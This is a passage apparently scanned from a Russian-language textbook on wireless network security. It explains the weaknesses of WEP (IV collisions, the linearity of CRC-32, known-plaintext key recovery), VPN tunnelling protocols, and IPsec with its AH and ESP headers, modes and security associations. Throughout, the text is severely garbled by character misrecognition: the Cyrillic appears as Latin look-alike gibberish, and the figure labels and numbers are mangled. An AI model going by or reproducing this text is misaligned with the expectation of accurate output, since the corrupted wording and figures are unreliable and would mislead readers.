COBMECTHO HCIIOJIb3yEMBIM KIIFOUOM, €CITU €ro KIII0Y He CKOH()HUTypHpOBaH IOJKHBIM

o0pazom.

Yazsumoctu anropurma WEP

[IpoGnembl anroputmMa WEP HOCAT KOMIUIEKCHBIN XapakTep M KPOIOTCS B LIEJOU
cepuM ciIadbIX MECT: MeXaHW3Me OOMeHa KIIIoYaMu (a2 TOYHee, MPAKTHYECKH MOJTHOM €To
OTCYTCTBUHU); MaJbIX Pa3psSAHOCTIX KIO4a W BekTopa uHuimanuianuu (Initialization
Vector - IV); mexaHu3mMe NpOBEpPKHU LEIOCTHOCTH MEpPENaBaeMbIX JIaHHBIX; CIOCO0e
ayreHTudukanuu u anropurme mudposanus RC4.

ITponecc mudpopanus WEP BeimonHseTcs B ABa 3Tana. BHayane moicuuThIBaeTCs
koHTponbHas cymma (Integrity Checksum Value - ICV) ¢ mpumenennem airoputMa
Cyclic Redundancy Check (CRC-32), moGaBasiemass B KOHEN HeE3alIM(ppOBAHHOTO

COOOIIIEHNS U CITyXalas JJisi TPOBEPKU €ro IEeJOCTHOCTH MpUHUMaeMou ctopoHoi. Ha
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BTOPOM DJTame OCYIIECTBISETCS HemocpeAcTBeHHO mmmdpoBanne. Kmou mis WEP-
mudpoBaHus - OOUIUN CEKPETHBINA KITI0Y, KOTOPBIN JOHKHBI 3HATh YCTPOMCTBA Ha 00eHUX
CTOpOHAX OECIPOBOAHOTO KaHAJIa TIEpeladl JaHHBIX. ITOT ceKpeTHBIN 40-OUTHBIN KITFOU
BMECTE CO Ciay4yalHbIM 24-OutHbIM [V sBIsieTcd BXOJHOM MOCIEAOBATEIBHOCTHIO IS
reHeparopa TMCeBAOCTyYalHbIX uwucel, Oasupyromerocss Ha mudpe Bepnama s
TeHepalul CTPOKM CIy4YalHBIX CHMBOJIOB, Ha3bIBaeMOM KiO4eBbIM MOTOKOM (key
stream). JlaHHas omnepanusi BBINOJTHSETCS C 1ENbl0 W30€KaHHWSd METOJO0B B3JIOMA,
OCHOBAHHBIX Ha CTATUCTHUYECKUX CBOMCTBAX OTKPBITOTO TEKCTA.

Initialization Vector (IV) wucnomes3yercs, 49ToObl 0OO0CCHEUUTH I KaKIOTO
COOOILIEHUSI CBOM YHUKAJIbHBIA KIIOUEBOM MOTOK. 3alIM(ppoBaHHOE COOOIICHHE
oOpa3yeTcsi B pesyibTaTe BbIMoJHEHHS onepanuu XOR Hang He3amudpoBaHHBIM
coobuiennem ¢ ICV u kimodeBbiM TOTOKOM. YTOOBI Mody4yaTesnb MOT IPOYUTATh €ro, B
nepeaBacMblii  MakeT B OTKpeITOM Bujae nobasmsercs [V. Korma wundopmanus
IPUHUMAETCS HA APYTOW CTOPOHE, MPOU3BOJIUTCA OOPATHBIN MPOLECC.

Takum 00pa3zoMm, MbI MOKEM TOJYYUTh HE3AITU(GPOBAHHBIM TEKCT, SIBISIOLIUNCS
pesyabratoMm omepanud XOR Mexay IByMsl APYTUMU OPUTHHAJIBHBIMU TEKCTaMH.
[Ipouenypa ux HU3BICUEHHS] HE COCTaBISET OosblIoro Tpyaa. Hamuuuwe opuruHambHOTO
TekcTa v [V mo3BOIseT BBIUUCINUTD KIIIOY, YTO B TAJIbHEUIIIEM JACT BO3MOYKHOCTh YHTATh
BCE COOOLIEHUS JaHHOU OECITPOBOIHON CETH.

[Tocne HECIOKHOrO aHaliW3a MOXKHO JIETKO pPaccYuTaTh, KOT/AAa IOBTOPUTCA
KJIFOYEBOM MOTOK. Tak Kak KU MOCTOSHHBIM, a KOJIMYECTBO BapuaHTOB IV cocrasiser
2%=16 777 216, 10 MIPU TOCTATOYHOM 3arpy3Ke TOUKH AOCTYyNa, CPEIHEM pa3Mepe MaKeTa
B OecnipoBoiHOM cetr, paBHOM 1500 Gaitt (12 000 6uT), U cpenHel CKOPOCTU Tepeaadn
JaHHBIX, HarpuMmep 5 Mbps (nmpu mMakcumanbHoi 11 Mbps), MBI MOTy4YUM, YTO TOYKOM
nocTyna Oynet nepefaBatbes 416 cooOuieHuii B cexkyHay, win xe 1 497 600 coobiienuit
B 4ac, T. €. MOBTOpeHue mpouzoiaet uepe3 11 u 12 mun (224/ 1 497 600=11,2 4). JlanHas
npoOiemMa HOCUT Ha3BaHMe "KOJuM3Hs BeKTOpoB". CyliecTByeT OOJbIIOE KOJIMYECTBO
Croco00B, MO3BOJISIOLUIUX YCKOPUTH 3TOT mpouecc. Kpome Toro, MOryr mpumeHsIThCS

aTaku 'C H3BECTHBIM MPOCTHIM TEKCTOM'", KOrja OJHOMY H3 TIOJIb30BaTElIed CETH
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MIOCBUTAETC COOOIICHHE C 3apaHee HM3BECTHBIM COJCPKAHUEM U MPOCTYIIUBACTCS
samu@poBaHHbll Tpaduk. B sTOM ciydae, uMess TPU COCTaBISIONIME U3 YETbIPEX
(He3amm@poBaHHBIN TEKCT, BEKTOP WHUIIMAIM3AIMHA U 3alIU(POBAHHBIN TEKCT), MOYXKHO
BBIUUCIIUTH KoY. B pabote "Intercepting Mobile Communications: The Insecurity of
802.11" ObUIO OIHMCAaHO MHOYKECTBO THIIOB aTaK, BKJIIOYas JOBOJILHO CIIOJKHBIE,
UCIIOJB3YIONINE MAHUMYJSAIUU C COOOUIEHUSIMH W WX TOJAMEHY, OCHOBAaHHBIE Ha
HEHAJISKHOM METOZe MPOBEPKHU 1enocTHOCTH coodienuii (CRC-32) u ayrenTudukanmuu
kimeHtoB. C ICV, wucnons3dyembiM B WEP-anroputme, aena oOCTOST aHaJIOTUYHO.
3nayenue CRC-32 noacuuThiBaeTCAd HA OCHOBE TMOJISI JAHHBIX COOOIIEHUS. DTO XOPOIIHi
METOJI JUIsl OIpe/ieNieHUsl OIMOOK, BO3HUKAIOIIMX MIPH Tepeaade nHdopMaIum, HO OH He
0o0ecrneynBaeT MeJOCTHOCTh JaHHBIX, T. €. HE TAPAHTUPYET, YTO OHU HE ObUIM MOJIMEHEHBI
B nporecce nepeaaun. Kourponbnas cymma CRC-32 umeer nuneitHoe cBoiictBo: CRC(A
XOR B)=CRC(A)XOR CRC(B), mpenocrapisioliee HapyIIUTEIO BO3ZMOKHOCTh JIETKO
MOAM(PUIMPOBATh 3alM(PpoBaHHbIN Maker 0e3 3HaHuss WEP-kimoua u nepecuurars s
Hero HoBoe 3HaueHue ICV. IlosBuBmascs B 2001 r. cnenuduxanus WEP2, koropas
yBenuuuiaa JUIMHY Kioda 10 104 6ut, He pemuia npoOjeMbl, TaK KakK JJIMHA BEKTOpa
WHULMAIN3AaU U CIOCO0 TPOBEPKHU IETOCTHOCTH JIAHHBIX OCTAIUCHh MPEKHUMHU.
BONbIIMHCTBO TUIIOB aTaK pPEaTU30BBIBAINCH TAaK K€ MPOCTO, Kak MU panbiie. Ha
CErOHAIIHUN JIeHb ucIoab3oBaHue anroputma WEP miis mocTpoeHue 3amuineHHbIX

OecIpOBOJHBIX CETEN HE IOMYCTUMO.

VPN

Ceronnst rexnonorust VPN (Virtual Private Network - BupTyanpHas yactHas ceTh)
3aBOEBaJIa BCeoOIlee MPU3HAHUE U MPAKTUYECKU BCE KOMIAHUS OpraHu3oBbiBaloT VPN-
KaHalbl JJISI COTPYAHUKOB, padotatommx BHe oduca. C momompsio VPN  MoxHO
OpraHU30BaTh 3AIUIIEHHBI BUPTYyaIbHBIA KaHAI 4Yepe3 MyOJWYHBbIC CETH. 3alinTa
Tpaduka OCHOBaHa Ha KpunTorpaduu. Hambosee 9acTo HCIOIB3YEMBIM aJrOpPUTMOM
koaupoBanus sBisercs Triple DES, koTopreiii o6ecrieunBaeT Tpoiinoe mmdpopanue (168

pa3ps/ioB) C HMCIOJIB30BAaHUEM TpPEX pa3HbIX KItoder. TeXHOJorus BKIIOYAET B ceOs
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IPOBEPKY IIEJIOCTHOCTU JAaHHBIX U WACHTU(DHUKAIMIO MOJIb30BaTENCH, 3a€ICTBOBAHHBIX B
VPN. IlepBast rapaHTUpy€ET, YTO JAaHHBIE AOLLIM JI0 agpecara UMEHHO B TOM BHJIE, B
KakoM ObutH mocianbl. CaMble TOMYNSPHBIE AITOPUTMBI POBEPKH HEIOCTHOCTH JaHHBIX
- MD5 u SHAI. Jlanee cucrema npoBepsieT, HE ObUIM JIM U3MEHEHBI TaHHBIE BO BPEMs
JIBUKEHUS 110 CETsIM, 0 OIMOKe WK 3J10HaMepeHHo. Takum o6pazom, noctpoerne VPN
IpEeAnojgaraeT Co3JaHuEe 3aIMUMUIEHHBIX OT IMOCTOPOHHEIrO JOCTyNa TYHHENEH MEeXAy
HECKOJIBKUMH JIOKAJIbHBIMU CETSIMU WJIM YJIaJIEHHBIMH T10JIb30BaTEIAMU. JJIs1 TOCTPOCHUS
VPN HeoOxoIMMO MMeTh Ha O0OMX KOHIIAX JMHUM CBA3M NPOrpaMmbl MU(pOBaHUS
UCXOJAIIEro W Aemmr@poBanus Bxojdmero tpadgukoB. OHM MOryTt paboTaTh Kak Ha
CIICLIMAIM3UPOBAHHBIX  allapaTHbIX ycTpoiicTBax, Tak u Ha IIK ¢ Takumm
onepanuoHHbIMu cucteMamu kak Windows, Linux wiu NetWare. UtoObl opranuzoBaTh
HAJEXKHYIO 3allUTY MEPEeIaBacMbIX JAHHBIX U 00€CHEUNUTh MPO3PAYHOCTD JIsl YCTPOUCTB
HaXOSIINXCS MEXKIY KOHIIAMU BUPTYaIbHOTO TYHHEI MPUMEHSAETCS MHKATICYJIALU, T.€.
KaJ[p  Cr€HEPUPOBAHHBIA  y3JOM-OTIpaBUTENEM  IH@pyeTcs U cHab)kaercs
JIOTIOJIHUTEIBHBIM 3aroJIOBKOM CoJepKaluM HHopMmanuio o Mapuipyre. Ha apyrom
KOHLIE TYHHEJS 3arojoBOK OTOpachiBaeTcs, KaAp ACMHUPpyeTcs U JOCTABISETCS IO
yKa3aHHOMY B HEM aJIpecy.

st popmupoBanusi Tynneneir VPN wucnons3ytorcs mporokoist PPTP, L2TP,
IPsec, IP-IP. IIpotokon PPTP - mo3Bosser mukancynupoBath IP-, IPX- u NetBEUI-
Tpaduk B 3aronoBku [P mist nepenaun no [P-cetu, Hanpumep Internet.

[Iporokon L2TP - mos3Bonsier mmdpoBath u mnepenaBath [P-tpadux ¢
UCIIOJIb30BAaHUEM JIIOOBIX MPOTOKOJIOB, MOAJAEPKHUBAIOIIUX PEXKUM  TOYKA-TOYKA'
JIOCTaBKU AeuTarpamm. Hanpumep, kK HUM oTHOCATCS TpOoTOKOI [P, perpancnsauus kaapos
U acUHXPOHHBINA pexum nepenaun (ATM). IIpotokon [Psec - mo3Bosser mudpoBars u
MHKAICYJIUPOBATh MOJIE3HYI0 HHpopMaluio rpoTtokosa IP B 3aronoBku [P ams nepenaun
o [P-ceTsim.

g  texHuudeckon peanuzauuu VPN, Kpome CTaHIApTHOIO  CETEBOIO
obopynoBanus, TmoOHaAOOuTCs 1LIO3 VPN, BemonHsoomui Bce (QYHKOHH 1O

bopMHUpPOBAaHUIO TYHHENICH, 3amuTe WHGOPMAIMKM, KOHTPOJIO Tpaduka, a HEPEAKO U
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GYyHKIUKA TIEHTPATM30BAHHOTO YIpaBIEeHUsA. PacCMOTpeHHass TEXHOJOTHUS SIBISICTCS
JIOCTATOYHO MOIIHBIM CPEACTBOM 3alllUThl IEpeAaBaeMoro Tpaduka, OJHAKO €€
MpUMEHEHUE B OCCIPOBOIAHBIX CETAX MMEET psij HeaocTaTkoB. OCHOBHOW W3 HUX: IS
peanuzainuu TexHonoruu HeooxoauMm VPN 1nuiio3, ais O0JIbLIIOro 4nciia KIMEHTOB 3TOT
Y4acCTOK CETU MOKET CTaTh Y3KUM MECTOM M CHHU3UT MPOMYCKHYIO cOCOOHOCTh. K Tomy
e  OecmpoBOTHBIM  KJIHMEHTAM  MPUACTCS  CHadajga  MPOXOJUTh  MPOIEAYPY
ayTeHTU(PUKalMU Ha TOYke a 3areM ycrtaHaBiauBaTh VPN coenuHenue, 4to HE coBceM
yno6Ho. [1o aToit npuunHe paccmarpuBath TexHoJornio VPN Kak BapuaHT 3alIUThI IPU
MIPOCKTUPOBAHUH OECIIPOBOJTHON CETH HE CTOUT, TEXHOJIOTHS MOXKET MPUMEHSITCS JIUIIb B
CEeTSX HE MOAJCPKUBAIOIINX COBPEMEHHBIC MeTObI 3amuThl JaHHbIX (WPA wiu WPA2)
KaK TMOCJIEIHSS] BO3MOXKHOCTh MOBBIIIEHUsI 0€30MacHOCTH 0€3 I100abHOr0 OOHOBIICHUS

000pyIOBaHUSI.

IPSec. Apxurekrtypa IPSec

IP Security - 3TO KOMIUIEKT HMPOTOKOJIOB, KacaroOIIUXCsS BOMPOCOB IIM(PPOBAHHMS,
ayTeHTH(PUKAUA ¥ 00ECIeUeHUs 3aluThl NPH TpPaHCIOPTHPOBKe IP-makeToB; B ero
coctaB cenyac BxomaT mnoutu 20 mnpemioxkeHud no crangapram u 18 RFC.
Cnemudukanus [P Security (u3BectHas ceromns kak IPsec) paspabareiBaeTcs paboueii
rpynnoii I[P Security Protocol IETF. IlepBonauansHo I[Psec Bkimouanm B cebs 3
AITOPUTMO-HE3aBUCUMBIE 0a30BbIe crienudukanuu, omnyoinkoBaHHeie B kauectBe RFC-
nokymMeHToB "Apxutektypa Oe3zomacHoctu [P", "Ayrentudunmpyronmii  3aroioBok
(AH)", "Nukancynsuus 3ammdpoBandbix ganuaeix (ESP)" (RFC1825, 1826 u 1827).
Ceiiuac mpemyioKeHbl HOBBbIE BepcuM 3Tux crnenudukanuii, 5to RFC2401 - RFC2412.
Otmeuy, uro RFCI1825-27 Ha DpOTSIKEHUM YK€ HECKOIBKMX JIET CYHUTAKOTCS
ycTapeBmmMHu. Kpome 3TOro, CYIIECTBYIOT HECKOJBKO  aJTOPUTMO-3aBHCHMBIX
cnienupukanui, ucnoip3yromux nmporokons MDS, SHA, DES.

["apaHTHH METOCTHOCTH M KOH(DHMICHIIMATLHOCTH JaHHBIX B cnerudukammu [Psec
00ecIeunBarOTCs 3a CUET MCIOJb30BaHUSI MEXaHU3MOB ayTeHTU(UKAIIUN U MTU(POBAHUS

COOTBCTCTBCHHO. HOCHCHHI/IC, B CBOIO O0O4YCPCAb, OCHOBAHbBI Ha IIPCABAPUTCIbHOM
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COTJIACOBAaHUU CTOPOHAMH MH(POPMAITMOHHOTO OOMEHa T.H. "KOHTEKCTa Oe30macHOCTH" —
IPUMEHSAEMbIX KPUNTOTPAQUUECKUX aJFOPUTMOB, AJITOPUTMOB YIIPaBJICHUS KIIIOUEBOM
uHpopMarmet u ux napamerpoB. Crenudukanus [Psec npegycmaTpruBaeT BO3MOKHOCTD
NOJICPKKA CTOPOHAMH  MH(POPMAIIMOHHOTO OOMEHa pAa3WYHBIX MPOTOKOJIOB U
napaMeTpoB ayTeHTU(UKAIMKU U IMU(POBAHUSA NAKETOB JAHHBIX, & TAKXKE PA3IUYHBIX
cxeMm pacnpegenenus kiatodeil. Ilpm 3TOM pe3ynpTaToM coriacoBaHHUs KOHTEKCTa
0€3011acHOCTH SIBJISIETCSI YCTAHOBJIEHME UHJAEKca mapameTrpoB Oe3zomacHoctu (SPI),
IPEJICTaBIISIFOIIET0 COOOM yKa3aTeslb Ha ONPEIEICHHBIN AIEMEHT BHYTPEHHEN CTPYKTYpbI
CTOPOHBI MH(OPMAIMOHHOTO OOMEHA, ONMMCHIBAIOIIEH BO3MOKHBIE HAOOpPHI MapaMeTpoB
0€30I1aCHOCTH.

ITo cyru, [IPSec, pabGoTaer Ha TpeTheM ypOBHE, T. €. Ha CETEBOM YpoBHe. B
pe3ynbTaTe mnepenaBaemble [P-makeTbl 3aIMIIEHbl MPO3pAayHbIM ISl CETEBBIX
npuwiokeHui u uHdpacTpykrypsl obpazom. B ornmume ot SSL (Secure Socket Layer),
KOTOPBIN pabdoTaeT Ha YETBEPTOM (T. €. TPAHCIIOPTHOM) YPOBHE U TECHEE CBsI3aH C OoJiee
BbICOKMMH ypoBHsAMH Mozenu OS], [PSec mnpusBan oOecnednTb HHU3KOYPOBHEBYIO
3aILHUTY.

K IP-manHBIM, TOTOBBIM K Ii€pelade IO BHUPTyaJbHOW 4YacTHOM ceTtH, [PSec
N00aBJISIeT 3aroJIOBOK JJIsl UACHTU(UKALMY 3alUIICHHbIX MakeToB. [lepen nepenayeit mo
Internet 5T makersl MHKancynupyrTcs B apyrue [P-maketsl. IPSec mopnmepxkuBaer
HECKOJIbKO TUTIOB mu@poBanusi, B ToM umcie Data Encryption Standard (DES) u Message
Digest 5 (MD5).

UToOBbl yCTAaHOBUTH 3aIMLIEHHOE COEAUHEHUE, 00a ydaCTHHKA ceaHca JIOJKHbI
UMETh BO3MOKHOCTh OBICTPO COTrJacoBaTh MapaMeTphl 3aIUTHI, TAKUE KaK aJrOPUTMBI
ayreHTu(@uKauuu 1 kimoun. [PSec momnepxuBaeT JBa TUMAa CXEM YNPABICHUS KIIOYaMU,
C TIOMOIIBIO KOTOPBIX YYACTHUKH MOTYT COTJIACOBAThH MapaMeTpPhl CEaHca.

C rexymeit Bepcuert IP, IPv4, moryr ObiThb wucnonn3oBanbsl unu Internet Secure
Association Key Management Protocol (ISAKMP), win Simple Key Management for

Internet Protocol. C Bepcueii IPv6, npunercs ucrnosnp3obats ISAKMP.
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3aronoBok AH

Aytentudunupyromuii  3aronoBok (AH) sBisercs OOBIYHBIM ONIIMOHAIBHBIM
3aroJ0BKOM H, KaK IPABUJIO, PACIOJIAraeTCsa MEXKAY OCHOBHBIM 3arojoBKOM makera IP u
nosieM naHHbIX. Hammume AH Hukak He BIMseT Ha Mpolecc mnepeaayd UHGOpMaluu
TPAHCIIOPTHOTO U 00Jie€ BHICOKOIO ypoBHEN. OCHOBHBIM M €MHCTBEHHBIM HAa3HAUYECHUEM
AH sBngercs oOecniedeHHe 3alIMThl OT aTaK, CBA3AaHHBIX C HECAHKIIMOHWPOBAHHBIM
U3MEHEHUEM COJEPKUMOr0 IIAKeTa, U B TOM YHCJIE OT IOAMEHBI MCXOIHOIO ajapeca
ceTeBoro ypoBHs. [IpoTokosibl Oosiee BEICOKOTO YPOBHS JOJKHBI ObITH MO (DULIUPOBAHBI
B LIEJIX OCYIIECTBJIEHUS POBEPKU ayTEHTUYHOCTH MOJYYEHHBIX TAHHBIX.

®opmatr AH nocTtaTouHO IPOCT U COCTOUT M3 96-OUTOBOrO 3arojlOBKa M JTAHHBIX
MEPEMEHHOM JIJIMHBI, COCTOSIIMX U3 32-0MTOBBIX ciioB. Ha3zBaHus mojed JOCTATOYHO
SCHO oTpaxarT ux coaepxumoe: Next Header ykaspiBaeT Ha cienyrolmui 3arojioBOK,
Payload Len mnpencraBmsier qnuHy mnakerta, SPl sBisercs yka3zareneM Ha KOHTEKCT

oe3onacHoctu U Sequence Number Field cogepxut nocienoBarenbHblid HOMEp MaKeTa.

Cme mysougi Jmora JapesepEHpoEaHO
FaT0JI0BOK HATPYSKH
Hugexc mapanetpos GesomacHocTH

ITome TOC e J0BATE THHOT 0 HOMEPaA

JaHHEIe 3¥TeHTH(HKAIHH (TepeMeNHoH JHHET)

Puc. 26. @opmam 3azonoexa AH

[TocnenoBarensHbIN HOMep TakeTa 06U BBeieH B AH B 1997 rony B X0/€ mporiecca
nepecMotpa crnernudukanuu [Psec. 3Hauenue 3roro nosst popMupyercs oTIpaBUTEIEeM U
CIY>KUT JJIS 3alldThl OT aTakK, CBS3aHHBIX C TOBTOPHBIM HCIIOJI30BAHUEM JAHHBIX
nporiecca ayreHTudukanuu. Ilockonbky ceTh HHTEpHET HE rapaHTHUPyET MOPSIOK

AOCTaBKM IIaKCTOB, IIOJYYaTClib AOJIKCH XPAaHUTb I/IH(l)OpMaL[I/I}O 0O MaKCHMaJIbHOM

135
198



IIOCJICIOBATEIIbHOM HOMEpE IaKeTa, MPOIICANIEro YCIeNTHYI0 ayTeHTH(PUKAIUIO, U O
HOJYYCHUH HEKOTOPOTO YHMCIIAa MAKETOB, COJEPIKAIIUX MPEIbIIYIIUE MOCICI0BATEIbHBIC
HOMEpa (0OBIYHO ITO YKCIIO PaBHO 64).

B oTimuue oT ajaropuTMOB BBIYHCICHHS KOHTPOJHLHOW CYMMBI, NMIPHUMCHSICMBIX B
NPOTOKOJIaX TMepeayd WHPOPMAIUU 10 KOMMYTHPYEMBIM JIMHHMSM CBS3M WJIH 10
KaHajaM JIOKQJIBHBIX CETeH W OPUCHTHPOBAHHBIX HA HCIPABICHHE CIYYAWHBIX OIIMOOK
cpelbl Tepenavyd, MEXaHW3Mbl OOCCIICYCHHUsS IIEJIOCTHOCTH JaHHBIX B  OTKPBITHIX
TEJICKOMMYHUKAIMOHHBIX CETSIX JOJ/DKHBI HMMETh CpPEACTBAa 3allUThl OT BHECCHUS
IICJICHAIIPABJICHHBIX M3MEHEeHUH. OJHUM M3 TaKHX MEXaHU3MOB SIBIISICTCS CICITHAIbHOC
npuMeHeHrne anroputMa MDS5: B mpomecce dopmupoBaruss AH mociemoBaTenbHO
BBIUMCISACTCS  XOII-QYHKIHS OT OOBCIWHEHUS CaMOro I1aKeTa H  HEKOTOpPOTO
NPeBAPUTEIILHO COTJIACOBAHHOTO KJII0Ya, a 3aTeéM OT OOBEAMHEHUS TOJTYYCHHOTO

pe3yiibTaTa 1 HpCO6p&30BaHHOFO KJIro4a.

3arosnioBok ESP

B cayuyae Mcnonp30BaHMS WMHKANCYJSALUMM 3alIM(pPOBAHHBIX JAHHBIX 3arojOBOK
ESP saBnseTcda mocinenHUM B psiiy OINIMOHANBHBIX 3arOJOBKOB, "BHIWMBIX' B IaKeTe.
[Tockonbky ocHOBHOUW 1enbi0 ESP  sBisiercss oOecnedeHne KOHPUACHIIMAIBHOCTH
JAHHBIX, pa3Hble BHbl MHPOPMALMM MOTYT TpeOOBaTh MPUMEHEHUs CYIIECTBEHHO
pa3IMuYHbIX ~aJropuTMoB mm@poBanus. CrenosarensHo, ¢opmat ESP  moxer
IpeTepreBaTb  3HAYUTENBHBIE HM3MEHEHHS B  3aBUCUMOCTH  OT  HCIIOJIb3YEMBIX
KpUINITOTpaUuecKnX ajropuTMoB. TeM He MEHee, MOXHO BBIACIUTH CJEAYIOLINE
oOsi3arenbHble nosst: SPI, ykas3piBaroliee Ha KOHTEKCT Oe3omacHOCTH U Sequence Number
Field, conepskaiiiee mocienoBatenbHbiii HoMep maketa. [Tome "ESP Authentication Data"
(KkOHTpoONbHAsT cymMma), He siBisieTcs oOsi3arenbHbIM B 3aronoBke ESP. Ilomyuarens
nakera ESP pacumdpoBsiBaer ESP 3aronoBok u mcnosb3yeT mapaMerpbl W JTaHHBIC
OpUMEHSEMOTr0  airoputMa  WMpoBaHUS AN JACKOAMPOBaHUA  MHMOpMAIUU

TPAHCIIOPTHOTO YPOBHSI.
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Humexc mapasetpos GezomachocTH (SPI)

Iloc e 70 aTe 5 HEIH HODIED

JaHHEIE HATPYSKH (TepesIeHHOH JHNHEI)

Homosoene (0..255 baitr) HOmora  |Crnepyround
IOTOIHEHHS | 3ATOJOEOK

JanHere ayTe HTH(HKAUHH (epene HHOH I IHHEI)

Puc. 27. @opmam 3azonoexa ESP

Pasnuuator nBa pexxnma npumenennst ESP n AH - TpaHCTIOPTHBIN ¥ TYHHEIBHBIN.

TpaHCHOPTHBIN PEXKUM

TpaHcOpPTHBIA peXUM HCTOIb3yeTCs Ui mHUppoBaHus mosst AaHHbIX [P makera,
coziepxkaniero npotTokoisl TpancnoptHoro ypoBHsa (TCP, UDP, ICMP), kotopoe, B CBOIO
ouepeb, COACPKUT UHGOPMAIMIO TPUKIAAHBIX ciyx0. IlpumepoM npuMeHeHUs
TPAHCIIOPTHOTO PEXUMA ABJISETCA Iepeada JIEKTPOHHOM NouThl. Bece mpomeKyTouHbIE
y3JIbl Ha MapuIpyTe€ NakKeTa OT OTHPAaBUTENSA K MOJY4YaTENI0 HCHOJB3YHOT TOJIBKO
OTKpPBITYI0 HMH(OpPMAILMIO CETEBOTO YPOBHS M, BO3MOXHO, HEKOTOPbIE OMIIMOHAJILHBIE
3arosioBku maketa (B [Pv6). HemoctaTkoM TpaHCIOPTHOTO peKMMa SBIISIETCSI OTCYTCTBHE
MEXAHU3MOB CKPBITHS KOHKPETHBIX OTIPABUTENSI W IIOJydaTesas IIaKeTa, a TaKkKe
BO3MOXXHOCTh MTPOBEICHMS aHainu3a Tpaduka. Pe3yapTaToM Takoro aHain3a MOXKET CTaTh
uHdopmarusi 00 oObeMax W HalpaBICHUSAX Mepeaayn nHpopMalu, o0JacTH UHTEPECOB

aOOHEHTOB, PACIOJIOKEHUE PYKOBOAMUTEIICH.

TyHHEIBHBIN PEXKUM

TyHHENbHBIA peXUM MpeAnojaraeT MmUGpoBaHUE BCEro IMaKeTa, BKIIOYAs
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3aroJIOBOK  CETEBOT0  ypOBHsS. TyHHENBHBI pPEXHUM NPUMEHSETCS B  Cily4ae
HEOOXOIUMOCTU CKPBITHS MHGOPMAIIMOHHOTO 0OMEHA OpraHu3allii C BHEITHUM MHUPOM.
[Ipu 3TOM, agpecHble IMOJISI 3arojOBKa CETEBOrO0 YPOBHS MAKETa, HCIOJIb3YIOLIETO
TYHHEJIbHBIA PEXKHUM, 3AIMOJHIIOTCS MEKCETEBBIM 3KPAaHOM OpPraHU3ALMHM M HE COJAEpKAT
uHbopMaIlMu O KOHKPETHOM oOTIpaButene nakera. [lpu mnepegadye uHpopManuu wu3
BHEIIHETO MHUpa B JIOKAJIBbHYIO CETh OPraHM3alMyd B KadyecTBE ajJpeca Ha3HAYCHHUSA
UCIIOJIB3YETCSI CETEBOM aJpec MEeXCeTeBOro skpana. [locne pacmm@ppoBKu MeEKCETEBHIM

9KPaHOM HAYaJIbHOI'O 3ar0JIOBKa CCTCBOT'O YPOBH: ITAKCT HAIIPABIIACTCA ITIOJIYUATCIITO.

Security Associations

Security Association (SA) — 3To coenuHEeHHE, KOTOPOE MPEAOCTABISACT CITYKOBI
obOecrieueHnsa Oe3omacHOCTH Tpaduka, KOTOpbIM mepenaércs uepe3 Hero. JlBa
KOMITBIOTEPA Ha KaXKI0M CTOPOHE SA XpaHAT peXHUM, MPOTOKOJ, AITOPUTMBI U KIIFOYH,
ucnons3yemble B SA. Kaxnaplii SA ucnons3yercs TOJBKO B OJHOM HampasieHuu. s
JIByHaInpaBJiIeHHOU CBs3U TpeOyerca aBa SA. Kaxnpiii SA peanusyer oAvH PEXHUM U
IPOTOKOJ; TaKMM OOpa3oM, €Clid AJisi OJHOTO IMaKeTa HeoOXOAMMO HMCIOJIb30BaTh JBa

nporokona (kak Harmpumep AH u ESP), To TpeOyercs nBa SA.

IHonuTHka 0e30macHOCTH

[Tomutuka OGe3zomacHoct xpanutcs B SPD  (ba3a JaHHBIX  MOJHTHKHU
oe3zonacHoctu). SPD MoxeT ykazaTh [Jis TaKeTa JaHHBIX OJHO M3 TPEX JCUCTBUIA:
oTOpoCHUTh TakeT, He 0o0padaThiBaTh MakeT ¢ momoieio [PSec, oOpaborarth maker ¢
nomotiesio IPSec. B mocnennem ciiyqae SPD Takxke ykasbiBaet, Kakoil SA HE0OXOIUMO
UCIIOJIB30BaTh (€CIIM, KOHEYHO, MOAXOASAIHA SA yke ObLIT CO37aH) WM YKa3bIBaeT, C
KaKUMU TTapaMeTpaMH JIOJDKEH OBITh CO3/IaH HOBBIN SA.

SPD sBnsgercss o4eHb TMOKMM MEXAHM3MOM YIPABIEHUS, KOTOPBIA JOIMYCKaeT
OYCHb XOpOIllee yIpaBIeHHEe 00pabOTKOM Kaknoro makera. [lakeTsl kiaccu@uImpyroTcs

no OosbiIoMy uuciy noJied, 1 SPD MoxeT nmpoBepsATh HEKOTOPbIE MM BCE TMOJIA IS
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TOTO, YTOOBI OIIPEIETUTH COOTBETCTBYIOIIEE IEHCTBHE. DTO MOXKET MPUBECTH K TOMY, YTO
BeCh TpapuK MEXIy ByMs MallMHamMu OyAeT NepelaBaThCsl MPU MOMOIIM OJHOTO SA,
100 otaenbHbie SA OyIyT HCIOIB30BATHCS AJIA KaXKIOTO MPUIIOKEHUS, WINA Jaxe s
kaxnaoro TCP coenunenus.

IPsec nmoctaTouyHO XOpOIIO MPOTUBOCTOUT OOJBIIMHCTBY HM3BECTHBIM CETEBBIM
arakam (sniffing, spoofing, hijacking). bnarogaps Tomy 4TO MmpenycMOTpeH MEXaHU3M
OTOpPaKOBKHM TAKETOB HE YAOBJIETBOPSIOIIMX MOJUTUKHU Oe3omnacHocTd, IPsec He mioxo
cupasisiercs ¢ arakamu Denial-Of-Service (DOS). Replay Attack - nuBenmpyercs 3a cuet
UCIojap30BaHusa Sequence Number.

K coxanenuto, ¢ ucnonp3oBaHueM nportokosa [Psec ms 3ammuThl 6€cpoOBOAHBIX
ceTeil CBA3aHbl HEKOTOphIe MpoOsiemsl. [TpoTokoin [Psec He MO3BOJISIET 3aMIIATh TpadUK
IpU LIUPOKOBEIIATEIbHON WM MHOTOAJpPECHOI Iepenade, MOTOMY YTO €ro JAEHCTBUE
MOXXET PAaCIpPOCTPAHATHCS TOJHKO Ha B3aMMOJICUCTBHE JBYX CTOPOH, OOMEHSBIIUXCS
KJIFOYaMU W BBITIOJIHUBIIKX B3aUMHYIO0 MPOBEpKY uX mnojiauHHOCTU. [Iporokon IPsec
3alMIIAET TOJBKO CETEBBIE IMAKEThl, HO HE caMy OeclnpoBOAHYIO ceTh. HecMoTps Ha
MpO3pavyHOCTh mpoTokosna I[Psec mns mosb3oBaTened, sl CETEBBIX YCTPOWCTB OH
po3padyeH He MOJIHOCThIO, TOTOMY UYTO paboTaeT Ha CeTeBOM ypoBHe, a He HAa MAC-
ypOBHE. OTO TPEIBSABISCT JOMOJHUTEIbHBIE TpeOOBaHUS K TMpaBujaM IS
